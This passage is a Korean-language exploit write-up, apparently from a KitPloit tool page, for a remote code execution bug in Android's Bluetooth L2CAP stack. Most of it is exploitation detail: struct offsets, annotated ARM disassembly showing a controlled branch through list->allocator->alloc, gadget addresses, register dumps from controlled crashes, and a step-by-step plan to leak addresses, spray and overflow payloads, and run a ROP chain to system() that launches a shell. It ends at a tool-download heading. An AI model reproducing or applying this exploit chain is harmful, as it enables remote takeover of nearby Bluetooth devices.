list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t));     => 할당이 우리의 호출(단일 매개변수!)로 대체됨
...
}

tL2C_LCB 구조체에서 link_xmit_data_q의 정의는 다음과 같습니다:

root@kitploit:~
/* Define a link control block. There is one link control block between
* this device and any other device (i.e. BD ADDR).
*/
typedef struct t_l2c_linkcb {
...
list_t* link_xmit_data_q;    /* Link transmit data buffer queue */  | Size 0x4 | Offset 0x44 
...
} tL2C_LCB;

list_t 구조체의 정의:

root@kitploit:~
typedef struct list_t {
list_node_t* head;                                                | Size 0x4 | Offset 0x0
list_node_t* tail;                                                | Size 0x4 | Offset 0x4
size_t length;                                                    | Size 0x4 | Offset 0x8
list_free_cb free_cb;                                             | Size 0x4 | Offset 0xC
const allocator_t* allocator;                                     | Size 0x4 | Offset 0x10
} list_t;                                                           | Size 0x14                                                        

list_node_t 구조체:

root@kitploit:~
struct list_node_t {                                                
struct list_node_t* next;                                         | Size 0x4 | Offset 0x0
void* data;                                                       | Size 0x4 | Offset 0x4
};                                                                  | Size 0x8                                                                  

그리고 allocator_t 구조체:

root@kitploit:~
typedef struct {                                                    
alloc_fn alloc;                                                   | Size 0x4 | Offset 0x0
free_fn free;                                                     | Size 0x4 | Offset 0x4
} allocator_t;                                                      | Size 0x8                                                   
root@kitploit:~
typedef struct {                                                    
uint16_t event;                                                    | Size 0x2 | Offset 0x0
uint16_t len;                                                      | Size 0x2 | Offset 0x2
uint16_t offset;                                                   | Size 0x2 | Offset 0x4
uint16_t layer_specific;                                           | Size 0x2 | Offset 0x6
uint8_t data[];                                                    | Size 0xx | Offset 0x8
} BT_HDR;                                                            | Size 0x8 + data length

l2c_link_check_send_pkts 함수의 디스어셈블리:

root@kitploit:~
.text:0x00103108                 PUSH.W          {R4-R11,LR}
.text:0x0010310C                 SUB             SP, SP, #0x14
.text:0x0010310E                 MOV             R4, R0                                       => R0을 R4로 이동                        => R4 = R0 = tL2C_LCB* p_lcb
.text:0x00103110                 CBZ             R2, loc_10311C                               => R2가 null이면 점프                   => BT_HDR* p_buf가 null이면 점프
.text:0x00103112                 MOVS            R0, #0                                       => 0을 R0으로 이동                         => 
.text:0x00103114                 CBZ             R1, loc_103120                               => R1이 null이면 점프                   => tL2C_CCB* p_ccb가 null이면 점프
.text:0x00103116                 LDRH            R1, [R1,#0x2C]                               => R1 + 0x2C를 R1에 로드               => R1 = p_ccb->local_cid
.text:0x00103118                 MOVS            R7, #1                                       => 1을 R7으로 이동                         => single_write = true
.text:0x0010311A                 B               loc_103124                                   => loc_103124로 분기
.text:0x00103124 loc_103124
.text:0x00103124                 STRH            R1, [R2]                                     => R1을 R2에 저장(하프워드)                => p_buf->event = p_ccb->local_cid
.text:0x00103126                 MOV             R1, R2                                       => R2를 R1으로 이동                        => R1 = R2 = BT_HDR* p_buf
.text:0x00103128                 STRH            R0, [R2,#6]                                  => R0을 R2 + 0x6에 저장               => p_buf->layer_specific = 0
.text:0x0010312A                 LDR             R0, [R4,#0x44]                               => R4 + 0x44를 R0에 로드               => R0 = list_t* p_lcb->link_xmit_data_q (R4 + 0x44)
.text:0x0010312C                 BL              list_append                                  => list_append로 분기 및 링크

list_append 호출 전 레지스터 상태:

  • R0 = list_t* p_lcb->link_xmit_data_q 객체 (첫 번째 페이로드 포함)
  • R1 및 R2 = BT_HDR* p_buf 객체 (두 번째 페이로드 포함)
  • R4 = tL2C_LCB* p_lcb 객체 (0x44에 첫 번째 페이로드 포함)
  • R7 = 1

list_append 함수의 디스어셈블리:

root@kitploit:~
.text:0x001298A0                 PUSH            {R4,R5,R7,LR}
.text:0x001298A2                 SUB             SP, SP, #0x138
.text:0x001298A4                 MOV             R4, R0                                       => R4를 R0으로 이동                        => R4 = R0 = list_t* p_lcb->link_xmit_data_q
.text:0x001298A6                 LDR             R0, =(stack_canary_1A2718 - 0x1298B0)
.text:0x001298A8                 MOV             R5, R1                                       => R1을 R5로 이동                        => R5 = R1 = BT_HDR* p_buf
.text:0x001298AA                 CMP             R4, #0                                       => R4 == 0 테스트                          => list_t* p_lcb->link_xmit_data_q가 null인지 테스트
.text:0x001298AC                 ADD             R0, PC ; stack_canary_1A2718
.text:0x001298AE                 LDR             R0, [R0]                                     => 
.text:0x001298B0                 LDR             R0, [R0]                                     => 
.text:0x001298B2                 STR             R0, [SP,#0x148+stack_canary]                 => 
.text:0x001298B4                 BNE             loc_1298CA                                   => CMP 결과 확인                             => list_t* p_lcb->link_xmit_data_q가 null이 아니면 점프
.text:0x001298CA loc_1298CA                                                                   => 
.text:0x001298CA                 CBNZ            R5, loc_1298E0                               => R5가 null이 아니면 점프               => BT_HDR* p_buf가 null이 아니면 점프
.text:0x001298E0 loc_1298E0                                                                   => 
.text:0x001298E0                 LDR             R0, [R4,#0x10]                               => R4+0x10에서 R0 로드                 => R0 = list->allocator
.text:0x001298E2                 LDR             R1, [R0]                                     => R0에서 R1 로드                      => R1 = list->allocator->alloc
.text:0x001298E4                 MOVS            R0, #8                                       => 8을 R0으로 이동                         => R0 = sizeof(list_node_t)
.text:0x001298E6                 BLX             R1                                           => R1로 분기 및 교환(링크 포함)  => 제어된 R1로 분기!!!

제어된 R1 분기 전 레지스터 상태:

  • R0 = 0x8
  • R1 = 두 번째 페이로드 값 + 0x0
  • R2 및 R5는 두 번째 페이로드를 포함하는 BT_HDR* p_buff를 가리킴
  • R4는 첫 번째 페이로드를 포함하는 list_t* p_lcb->link_xmit_data_q를 가리킴

R4가 가리키는 list_t* p_lcb->link_xmit_data_q에서 첫 번째 페이로드의 시작을 찾기 위해 0x00125734에서 발견된 ldm 가젯을 사용했습니다:

root@kitploit:~
0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}

다음 레지스터 내용으로 대상 크래시 발생:

  • R4 = ade05278 = list_t* p_lcb->link_xmit_data_q, 첫 번째 페이로드 포함 (+ 0x894C, 0x894C / 0x360 = 0x28 = 40개의 패킷, 두 번째 페이로드에 접근 가능)

  • R0 = R4 + 0x0 = 0020de08

  • R1 = R4 + 0x4 = dead0000 = 첫 번째 페이로드 값 + 0x0

  • R2 = R4 + 0x8 = dead0001 = 첫 번째 페이로드 값 + 0x4

  • R3 = R4 + 0xC = dead0002 = 첫 번째 페이로드 값 + 0x8

  • R5 = R4 + 0x10 = ade0db14 = 첫 번째 페이로드 값 + 0xC = 두 번째 페이로드 주소 + 0x0

  • R6 = R4 + 0x14 = dead0003 = 첫 번째 페이로드 값 + 0x10

  • R7 = R4 + 0x18 = 00200004

  • R9 (SB) = R4 + 0x1C = dead0000 = 첫 번째 페이로드 값 + 0x0

  • R10 (SL) = R4 + 0x20 = dead0001 = 첫 번째 페이로드 값 + 0x4

  • R12 (IP) = R4 + 0x24 = dead0002 = 첫 번째 페이로드 값 + 0x8

  • R13 (SP) = R4 + 0x2C = ade0db14 = 첫 번째 페이로드 값 + 0xC = 두 번째 페이로드 주소 + 0x0

  • R14 (LR) = R4 + 0x30 = dead0003 = 첫 번째 페이로드 값 + 0x10

첫 번째 페이로드는 list_t 구조체의 크기인 0x14바이트마다 반복됩니다.

root@kitploit:~
typedef struct list_t {
list_node_t* head;                                                | Size 0x4 | Offset 0x0  | l2cap 헤더 사용 불가
list_node_t* tail;                                                | Size 0x4 | Offset 0x4  | 첫 번째 페이로드 값 + 0x0
size_t length;                                                    | Size 0x4 | Offset 0x8  | 첫 번째 페이로드 값 + 0x4
list_free_cb free_cb;                                             | Size 0x4 | Offset 0xC  | 첫 번째 페이로드 값 + 0x8
const allocator_t* allocator;                                     | Size 0x4 | Offset 0x10 | 첫 번째 페이로드 값 + 0xC
} list_t;                                                           | Size 0x14

R5가 가리키는 BT_HDR* p_buff에서 두 번째 페이로드의 시작을 찾기 위해 0x000dcecc에서 발견된 ldm 가젯을 사용했습니다:

root@kitploit:~
0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}

다음 레지스터 내용으로 대상 크래시 발생:

  • R2 = R5 + 0x0 = 000e0000
  • R3 = R5 + 0x4 = 00000000
  • R4 = R5 + 0x8 = 000a2002
  • R5 = 95270300 = BT_HDR* p_buff, 두 번째 페이로드 포함 (+ 0x???)
  • R6 = R5 + 0xC = 00010006
  • R7 = R5 + 0x10 = 0002020a
  • R8 = R5 + 0x14 = 00000002

이 로드 멀티플에는 증가가 없으며, BT_HDR* p_buff + 0x0의 내용은 다음과 같습니다: 000e0000 00000000 000a2002 00010006 0002020a 00000002

가젯(0x0014b580) 이전에 증가를 포함한 로드 멀티플로 동일한 테스트 수행:

root@kitploit:~
0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^

다음 로그로 대상 크래시 발생:

크래시 후 레지스터 상태:

  • R1 = R5 + 0x4 = 00000000
  • R2 = R5 + 0x8 = 000a2002
  • R3 = R5 + 0xC = 00010006
  • R4 = R5 + 0x10 = 0002020a
  • R5 = 9530ee00 = BT_HDR* p_buff, 두 번째 페이로드 포함 (+ 0x14)
  • R7 = R5 + 0x14 = 96300002
  • R8 = R5 + 0x18 = dead0007
  • SL = R5 + 0x1C = dead0008
  • FP = R5 + 0x20 = dead0009
  • SP = R5 + 0x24 = dead000a

증가에 대한 BT_HDR* p_buff + 0x4의 내용: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a

두 번째 페이로드가 BT_HDR* p_buff에서 + 0x14에 있음을 알 수 있습니다.

########################################################################################

ROP 체인 작성

########################################################################################

Jan Ruge가 libicuuc 라이브러리를 사용했듯이, 셸을 시작하기 위해 system의 주소를 찾기 위해 블루투스 라이브러리에서 dlsym에만 접근할 수 있습니다.

익스플로잇 과정은 다음과 같습니다:- mem_offset 180에서 링크 전송 데이터 버퍼 큐 항목 주소를 가져오고, - 176으로 패킷의 베이스를 계산합니다.

  • mem_offset 28에서 BleAdvertisingManagerImpl::SetDataAdvDataSender 함수 주소를 가져와 블루투스 라이브러리 베이스 주소를 계산합니다.
  • 링크 전송 데이터 버퍼 큐 항목 주소를 포함하는 32자 길이의 첫 번째 페이로드를 구성합니다.
  • ROP 체인과 셸 명령을 포함하는 184자 길이의 두 번째 페이로드를 구성합니다.
  • 유출 방법을 사용하여 mem_offset 184에 두 번째 페이로드를 스프레이하여 링크 전송 데이터 버퍼 큐에 배치합니다.
  • 첫 번째 페이로드를 오버플로하여 링크 전송 데이터 버퍼 큐의 항목을 덮어쓰고 두 번째 페이로드의 시작 부분으로 분기를 트리거합니다.
  • 두 번째 페이로드가 셸 명령을 시작합니다.

자세한 설명은 코드를 참조하세요.

########################################################################################

도구 다운로드